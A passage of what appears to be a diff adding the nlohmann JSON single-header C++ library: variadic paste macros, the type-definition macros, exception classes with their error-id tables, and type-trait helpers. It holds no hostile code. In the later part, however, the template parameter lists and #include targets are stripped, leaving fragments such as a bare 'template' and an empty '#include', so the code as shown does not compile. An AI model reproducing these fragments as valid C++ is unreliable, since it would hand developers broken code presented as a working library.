v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48) +#define NLOHMANN_JSON_PASTE50(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE49(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49) +#define NLOHMANN_JSON_PASTE51(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE50(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50) +#define NLOHMANN_JSON_PASTE52(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE51(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51) +#define NLOHMANN_JSON_PASTE53(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE52(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52) +#define NLOHMANN_JSON_PASTE54(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE53(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53) +#define NLOHMANN_JSON_PASTE55(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE54(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54) +#define NLOHMANN_JSON_PASTE56(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE55(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55) +#define NLOHMANN_JSON_PASTE57(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE56(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56) +#define NLOHMANN_JSON_PASTE58(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE57(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57) +#define NLOHMANN_JSON_PASTE59(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE58(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58) +#define NLOHMANN_JSON_PASTE60(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE59(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59) +#define NLOHMANN_JSON_PASTE61(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE60(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60) +#define NLOHMANN_JSON_PASTE62(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE61(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61) +#define NLOHMANN_JSON_PASTE63(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE62(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62) +#define NLOHMANN_JSON_PASTE64(func, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63) NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE63(func, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21, v22, v23, v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35, v36, v37, v38, v39, v40, v41, v42, v43, v44, v45, v46, v47, v48, v49, v50, v51, v52, v53, v54, v55, v56, v57, v58, v59, v60, v61, v62, v63) + +#define NLOHMANN_JSON_TO(v1) nlohmann_json_j[#v1] = nlohmann_json_t.v1; +#define NLOHMANN_JSON_FROM(v1) nlohmann_json_j.at(#v1).get_to(nlohmann_json_t.v1); + +/*! +@brief macro +@def NLOHMANN_DEFINE_TYPE_INTRUSIVE +@since version 3.9.0 +*/ +#define NLOHMANN_DEFINE_TYPE_INTRUSIVE(Type, ...) \ + friend void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \ + friend void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM, __VA_ARGS__)) } + +/*! +@brief macro +@def NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE +@since version 3.9.0 +*/ +#define NLOHMANN_DEFINE_TYPE_NON_INTRUSIVE(Type, ...) \ + inline void to_json(nlohmann::json& nlohmann_json_j, const Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_TO, __VA_ARGS__)) } \ + inline void from_json(const nlohmann::json& nlohmann_json_j, Type& nlohmann_json_t) { NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_PASTE(NLOHMANN_JSON_FROM, __VA_ARGS__)) } + +#ifndef JSON_USE_IMPLICIT_CONVERSIONS + #define JSON_USE_IMPLICIT_CONVERSIONS 1 +#endif + +#if JSON_USE_IMPLICIT_CONVERSIONS + #define JSON_EXPLICIT +#else + #define JSON_EXPLICIT explicit +#endif + + +namespace nlohmann +{ +namespace detail +{ +//////////////// +// exceptions // +//////////////// + +/*! +@brief general exception of the @ref basic_json class + +This class is an extension of `std::exception` objects with a member @a id for +exception ids. It is used as the base class for all exceptions thrown by the +@ref basic_json class. This class can hence be used as "wildcard" to catch +exceptions. + +Subclasses: +- @ref parse_error for exceptions indicating a parse error +- @ref invalid_iterator for exceptions indicating errors with iterators +- @ref type_error for exceptions indicating executing a member function with + a wrong type +- @ref out_of_range for exceptions indicating access out of the defined range +- @ref other_error for exceptions indicating other library errors + +@internal +@note To have nothrow-copy-constructible exceptions, we internally use + `std::runtime_error` which can cope with arbitrary-length error messages. + Intermediate strings are built with static functions and then passed to + the actual constructor. +@endinternal + +@liveexample{The following code shows how arbitrary library exceptions can be +caught.,exception} + +@since version 3.0.0 +*/ +class exception : public std::exception +{ + public: + /// returns the explanatory string + JSON_HEDLEY_RETURNS_NON_NULL + const char* what() const noexcept override + { + return m.what(); + } + + /// the id of the exception + const int id; + + protected: + JSON_HEDLEY_NON_NULL(3) + exception(int id_, const char* what_arg) : id(id_), m(what_arg) {} + + static std::string name(const std::string& ename, int id_) + { + return "[json.exception." + ename + "." + std::to_string(id_) + "] "; + } + + private: + /// an exception object as storage for error messages + std::runtime_error m; +}; + +/*! +@brief exception indicating a parse error + +This exception is thrown by the library when a parse error occurs. Parse errors +can occur during the deserialization of JSON text, CBOR, MessagePack, as well +as when using JSON Patch. + +Member @a byte holds the byte index of the last read character in the input +file. + +Exceptions have ids 1xx. + +name / id | example message | description +------------------------------ | --------------- | ------------------------- +json.exception.parse_error.101 | parse error at 2: unexpected end of input; expected string literal | This error indicates a syntax error while deserializing a JSON text. The error message describes that an unexpected token (character) was encountered, and the member @a byte indicates the error position. +json.exception.parse_error.102 | parse error at 14: missing or wrong low surrogate | JSON uses the `\uxxxx` format to describe Unicode characters. Code points above above 0xFFFF are split into two `\uxxxx` entries ("surrogate pairs"). This error indicates that the surrogate pair is incomplete or contains an invalid code point. +json.exception.parse_error.103 | parse error: code points above 0x10FFFF are invalid | Unicode supports code points up to 0x10FFFF. Code points above 0x10FFFF are invalid. +json.exception.parse_error.104 | parse error: JSON patch must be an array of objects | [RFC 6902](https://tools.ietf.org/html/rfc6902) requires a JSON Patch document to be a JSON document that represents an array of objects. +json.exception.parse_error.105 | parse error: operation must have string member 'op' | An operation of a JSON Patch document must contain exactly one "op" member, whose value indicates the operation to perform. Its value must be one of "add", "remove", "replace", "move", "copy", or "test"; other values are errors. +json.exception.parse_error.106 | parse error: array index '01' must not begin with '0' | An array index in a JSON Pointer ([RFC 6901](https://tools.ietf.org/html/rfc6901)) may be `0` or any number without a leading `0`. +json.exception.parse_error.107 | parse error: JSON pointer must be empty or begin with '/' - was: 'foo' | A JSON Pointer must be a Unicode string containing a sequence of zero or more reference tokens, each prefixed by a `/` character. +json.exception.parse_error.108 | parse error: escape character '~' must be followed with '0' or '1' | In a JSON Pointer, only `~0` and `~1` are valid escape sequences. +json.exception.parse_error.109 | parse error: array index 'one' is not a number | A JSON Pointer array index must be a number. +json.exception.parse_error.110 | parse error at 1: cannot read 2 bytes from vector | When parsing CBOR or MessagePack, the byte vector ends before the complete value has been read. +json.exception.parse_error.112 | parse error at 1: error reading CBOR; last byte: 0xF8 | Not all types of CBOR or MessagePack are supported. This exception occurs if an unsupported byte was read. +json.exception.parse_error.113 | parse error at 2: expected a CBOR string; last byte: 0x98 | While parsing a map key, a value that is not a string has been read. +json.exception.parse_error.114 | parse error: Unsupported BSON record type 0x0F | The parsing of the corresponding BSON record type is not implemented (yet). +json.exception.parse_error.115 | parse error at byte 5: syntax error while parsing UBJSON high-precision number: invalid number text: 1A | A UBJSON high-precision number could not be parsed. + +@note For an input with n bytes, 1 is the index of the first character and n+1 + is the index of the terminating null byte or the end of file. This also + holds true when reading a byte vector (CBOR or MessagePack). + +@liveexample{The following code shows how a `parse_error` exception can be +caught.,parse_error} + +@sa - @ref exception for the base class of the library exceptions +@sa - @ref invalid_iterator for exceptions indicating errors with iterators +@sa - @ref type_error for exceptions indicating executing a member function with + a wrong type +@sa - @ref out_of_range for exceptions indicating access out of the defined range +@sa - @ref other_error for exceptions indicating other library errors + +@since version 3.0.0 +*/ +class parse_error : public exception +{ + public: + /*! + @brief create a parse error exception + @param[in] id_ the id of the exception + @param[in] pos the position where the error occurred (or with + chars_read_total=0 if the position cannot be + determined) + @param[in] what_arg the explanatory string + @return parse_error object + */ + static parse_error create(int id_, const position_t& pos, const std::string& what_arg) + { + std::string w = exception::name("parse_error", id_) + "parse error" + + position_string(pos) + ": " + what_arg; + return parse_error(id_, pos.chars_read_total, w.c_str()); + } + + static parse_error create(int id_, std::size_t byte_, const std::string& what_arg) + { + std::string w = exception::name("parse_error", id_) + "parse error" + + (byte_ != 0 ? (" at byte " + std::to_string(byte_)) : "") + + ": " + what_arg; + return parse_error(id_, byte_, w.c_str()); + } + + /*! + @brief byte index of the parse error + + The byte index of the last read character in the input file. + + @note For an input with n bytes, 1 is the index of the first character and + n+1 is the index of the terminating null byte or the end of file. + This also holds true when reading a byte vector (CBOR or MessagePack). + */ + const std::size_t byte; + + private: + parse_error(int id_, std::size_t byte_, const char* what_arg) + : exception(id_, what_arg), byte(byte_) {} + + static std::string position_string(const position_t& pos) + { + return " at line " + std::to_string(pos.lines_read + 1) + + ", column " + std::to_string(pos.chars_read_current_line); + } +}; + +/*! +@brief exception indicating errors with iterators + +This exception is thrown if iterators passed to a library function do not match +the expected semantics. + +Exceptions have ids 2xx. + +name / id | example message | description +----------------------------------- | --------------- | ------------------------- +json.exception.invalid_iterator.201 | iterators are not compatible | The iterators passed to constructor @ref basic_json(InputIT first, InputIT last) are not compatible, meaning they do not belong to the same container. Therefore, the range (@a first, @a last) is invalid. +json.exception.invalid_iterator.202 | iterator does not fit current value | In an erase or insert function, the passed iterator @a pos does not belong to the JSON value for which the function was called. It hence does not define a valid position for the deletion/insertion. +json.exception.invalid_iterator.203 | iterators do not fit current value | Either iterator passed to function @ref erase(IteratorType first, IteratorType last) does not belong to the JSON value from which values shall be erased. It hence does not define a valid range to delete values from. +json.exception.invalid_iterator.204 | iterators out of range | When an iterator range for a primitive type (number, boolean, or string) is passed to a constructor or an erase function, this range has to be exactly (@ref begin(), @ref end()), because this is the only way the single stored value is expressed. All other ranges are invalid. +json.exception.invalid_iterator.205 | iterator out of range | When an iterator for a primitive type (number, boolean, or string) is passed to an erase function, the iterator has to be the @ref begin() iterator, because it is the only way to address the stored value. All other iterators are invalid. +json.exception.invalid_iterator.206 | cannot construct with iterators from null | The iterators passed to constructor @ref basic_json(InputIT first, InputIT last) belong to a JSON null value and hence to not define a valid range. +json.exception.invalid_iterator.207 | cannot use key() for non-object iterators | The key() member function can only be used on iterators belonging to a JSON object, because other types do not have a concept of a key. +json.exception.invalid_iterator.208 | cannot use operator[] for object iterators | The operator[] to specify a concrete offset cannot be used on iterators belonging to a JSON object, because JSON objects are unordered. +json.exception.invalid_iterator.209 | cannot use offsets with object iterators | The offset operators (+, -, +=, -=) cannot be used on iterators belonging to a JSON object, because JSON objects are unordered. +json.exception.invalid_iterator.210 | iterators do not fit | The iterator range passed to the insert function are not compatible, meaning they do not belong to the same container. Therefore, the range (@a first, @a last) is invalid. +json.exception.invalid_iterator.211 | passed iterators may not belong to container | The iterator range passed to the insert function must not be a subrange of the container to insert to. +json.exception.invalid_iterator.212 | cannot compare iterators of different containers | When two iterators are compared, they must belong to the same container. +json.exception.invalid_iterator.213 | cannot compare order of object iterators | The order of object iterators cannot be compared, because JSON objects are unordered. +json.exception.invalid_iterator.214 | cannot get value | Cannot get value for iterator: Either the iterator belongs to a null value or it is an iterator to a primitive type (number, boolean, or string), but the iterator is different to @ref begin(). + +@liveexample{The following code shows how an `invalid_iterator` exception can be +caught.,invalid_iterator} + +@sa - @ref exception for the base class of the library exceptions +@sa - @ref parse_error for exceptions indicating a parse error +@sa - @ref type_error for exceptions indicating executing a member function with + a wrong type +@sa - @ref out_of_range for exceptions indicating access out of the defined range +@sa - @ref other_error for exceptions indicating other library errors + +@since version 3.0.0 +*/ +class invalid_iterator : public exception +{ + public: + static invalid_iterator create(int id_, const std::string& what_arg) + { + std::string w = exception::name("invalid_iterator", id_) + what_arg; + return invalid_iterator(id_, w.c_str()); + } + + private: + JSON_HEDLEY_NON_NULL(3) + invalid_iterator(int id_, const char* what_arg) + : exception(id_, what_arg) {} +}; + +/*! +@brief exception indicating executing a member function with a wrong type + +This exception is thrown in case of a type error; that is, a library function is +executed on a JSON value whose type does not match the expected semantics. + +Exceptions have ids 3xx. + +name / id | example message | description +----------------------------- | --------------- | ------------------------- +json.exception.type_error.301 | cannot create object from initializer list | To create an object from an initializer list, the initializer list must consist only of a list of pairs whose first element is a string. When this constraint is violated, an array is created instead. +json.exception.type_error.302 | type must be object, but is array | During implicit or explicit value conversion, the JSON type must be compatible to the target type. For instance, a JSON string can only be converted into string types, but not into numbers or boolean types. +json.exception.type_error.303 | incompatible ReferenceType for get_ref, actual type is object | To retrieve a reference to a value stored in a @ref basic_json object with @ref get_ref, the type of the reference must match the value type. For instance, for a JSON array, the @a ReferenceType must be @ref array_t &. +json.exception.type_error.304 | cannot use at() with string | The @ref at() member functions can only be executed for certain JSON types. +json.exception.type_error.305 | cannot use operator[] with string | The @ref operator[] member functions can only be executed for certain JSON types. +json.exception.type_error.306 | cannot use value() with string | The @ref value() member functions can only be executed for certain JSON types. +json.exception.type_error.307 | cannot use erase() with string | The @ref erase() member functions can only be executed for certain JSON types. +json.exception.type_error.308 | cannot use push_back() with string | The @ref push_back() and @ref operator+= member functions can only be executed for certain JSON types. +json.exception.type_error.309 | cannot use insert() with | The @ref insert() member functions can only be executed for certain JSON types. +json.exception.type_error.310 | cannot use swap() with number | The @ref swap() member functions can only be executed for certain JSON types. +json.exception.type_error.311 | cannot use emplace_back() with string | The @ref emplace_back() member function can only be executed for certain JSON types. +json.exception.type_error.312 | cannot use update() with string | The @ref update() member functions can only be executed for certain JSON types. +json.exception.type_error.313 | invalid value to unflatten | The @ref unflatten function converts an object whose keys are JSON Pointers back into an arbitrary nested JSON value. The JSON Pointers must not overlap, because then the resulting value would not be well defined. +json.exception.type_error.314 | only objects can be unflattened | The @ref unflatten function only works for an object whose keys are JSON Pointers. +json.exception.type_error.315 | values in object must be primitive | The @ref unflatten function only works for an object whose keys are JSON Pointers and whose values are primitive. +json.exception.type_error.316 | invalid UTF-8 byte at index 10: 0x7E | The @ref dump function only works with UTF-8 encoded strings; that is, if you assign a `std::string` to a JSON value, make sure it is UTF-8 encoded. | +json.exception.type_error.317 | JSON value cannot be serialized to requested format | The dynamic type of the object cannot be represented in the requested serialization format (e.g. a raw `true` or `null` JSON object cannot be serialized to BSON) | + +@liveexample{The following code shows how a `type_error` exception can be +caught.,type_error} + +@sa - @ref exception for the base class of the library exceptions +@sa - @ref parse_error for exceptions indicating a parse error +@sa - @ref invalid_iterator for exceptions indicating errors with iterators +@sa - @ref out_of_range for exceptions indicating access out of the defined range +@sa - @ref other_error for exceptions indicating other library errors + +@since version 3.0.0 +*/ +class type_error : public exception +{ + public: + static type_error create(int id_, const std::string& what_arg) + { + std::string w = exception::name("type_error", id_) + what_arg; + return type_error(id_, w.c_str()); + } + + private: + JSON_HEDLEY_NON_NULL(3) + type_error(int id_, const char* what_arg) : exception(id_, what_arg) {} +}; + +/*! +@brief exception indicating access out of the defined range + +This exception is thrown in case a library function is called on an input +parameter that exceeds the expected range, for instance in case of array +indices or nonexisting object keys. + +Exceptions have ids 4xx. + +name / id | example message | description +------------------------------- | --------------- | ------------------------- +json.exception.out_of_range.401 | array index 3 is out of range | The provided array index @a i is larger than @a size-1. +json.exception.out_of_range.402 | array index '-' (3) is out of range | The special array index `-` in a JSON Pointer never describes a valid element of the array, but the index past the end. That is, it can only be used to add elements at this position, but not to read it. +json.exception.out_of_range.403 | key 'foo' not found | The provided key was not found in the JSON object. +json.exception.out_of_range.404 | unresolved reference token 'foo' | A reference token in a JSON Pointer could not be resolved. +json.exception.out_of_range.405 | JSON pointer has no parent | The JSON Patch operations 'remove' and 'add' can not be applied to the root element of the JSON value. +json.exception.out_of_range.406 | number overflow parsing '10E1000' | A parsed number could not be stored as without changing it to NaN or INF. +json.exception.out_of_range.407 | number overflow serializing '9223372036854775808' | UBJSON and BSON only support integer numbers up to 9223372036854775807. (until version 3.8.0) | +json.exception.out_of_range.408 | excessive array size: 8658170730974374167 | The size (following `#`) of an UBJSON array or object exceeds the maximal capacity. | +json.exception.out_of_range.409 | BSON key cannot contain code point U+0000 (at byte 2) | Key identifiers to be serialized to BSON cannot contain code point U+0000, since the key is stored as zero-terminated c-string | + +@liveexample{The following code shows how an `out_of_range` exception can be +caught.,out_of_range} + +@sa - @ref exception for the base class of the library exceptions +@sa - @ref parse_error for exceptions indicating a parse error +@sa - @ref invalid_iterator for exceptions indicating errors with iterators +@sa - @ref type_error for exceptions indicating executing a member function with + a wrong type +@sa - @ref other_error for exceptions indicating other library errors + +@since version 3.0.0 +*/ +class out_of_range : public exception +{ + public: + static out_of_range create(int id_, const std::string& what_arg) + { + std::string w = exception::name("out_of_range", id_) + what_arg; + return out_of_range(id_, w.c_str()); + } + + private: + JSON_HEDLEY_NON_NULL(3) + out_of_range(int id_, const char* what_arg) : exception(id_, what_arg) {} +}; + +/*! +@brief exception indicating other library errors + +This exception is thrown in case of errors that cannot be classified with the +other exception types. + +Exceptions have ids 5xx. + +name / id | example message | description +------------------------------ | --------------- | ------------------------- +json.exception.other_error.501 | unsuccessful: {"op":"test","path":"/baz", "value":"bar"} | A JSON Patch operation 'test' failed. The unsuccessful operation is also printed. + +@sa - @ref exception for the base class of the library exceptions +@sa - @ref parse_error for exceptions indicating a parse error +@sa - @ref invalid_iterator for exceptions indicating errors with iterators +@sa - @ref type_error for exceptions indicating executing a member function with + a wrong type +@sa - @ref out_of_range for exceptions indicating access out of the defined range + +@liveexample{The following code shows how an `other_error` exception can be +caught.,other_error} + +@since version 3.0.0 +*/ +class other_error : public exception +{ + public: + static other_error create(int id_, const std::string& what_arg) + { + std::string w = exception::name("other_error", id_) + what_arg; + return other_error(id_, w.c_str()); + } + + private: + JSON_HEDLEY_NON_NULL(3) + other_error(int id_, const char* what_arg) : exception(id_, what_arg) {} +}; +} // namespace detail +} // namespace nlohmann + +// #include + +// #include + + +#include // size_t +#include // conditional, enable_if, false_type, integral_constant, is_constructible, is_integral, is_same, remove_cv, remove_reference, true_type + +namespace nlohmann +{ +namespace detail +{ +// alias templates to reduce boilerplate +template +using enable_if_t = typename std::enable_if::type; + +template +using uncvref_t = typename std::remove_cv::type>::type; + +// implementation of C++14 index_sequence and affiliates +// source: https://stackoverflow.com/a/32223343 +template +struct index_sequence +{ + using type = index_sequence; + using value_type = std::size_t; + static constexpr std::size_t size() noexcept + { + return sizeof...(Ints); + } +}; + +template +struct merge_and_renumber; + +template +struct merge_and_renumber, index_sequence> + : index_sequence < I1..., (sizeof...(I1) + I2)... > {}; + +template +struct make_index_sequence + : merge_and_renumber < typename make_index_sequence < N / 2 >::type, + typename make_index_sequence < N - N / 2 >::type > {}; + +template<> struct make_index_sequence<0> : index_sequence<> {}; +template<> struct make_index_sequence<1> : index_sequence<0> {}; + +template +using index_sequence_for = make_index_sequence; + +// dispatch utility (taken from ranges-v3) +template struct priority_tag : priority_tag < N - 1 > {}; +template<> struct priority_tag<0> {}; + +// taken from ranges-v3 + +template +struct static_const +{ + static constexpr T value{}; +}; + +template +constexpr T static_const::value; +} // namespace detail +} // namespace nlohmann + +// #include + + +#include // numeric_limits +#include // false_type, is_constructible, is_integral, is_same, true_type +#include // declval + +// #include + + +#include // random_access_iterator_tag + +// #include + + +namespace nlohmann +{ +namespace detail +{ +template struct make_void +{ + using type = void; +}; +template using void_t = typename make_void::type; +} // namespace detail +} // namespace nlohmann + +// #include + + +namespace nlohmann +{ +namespace detail +{ +template +struct iterator_types {}; + +template +struct iterator_types < + It, + void_t> +{ + using difference_type = typename It::difference_type; + using value_type = typename It::value_type; + using pointer = typename It::pointer; + 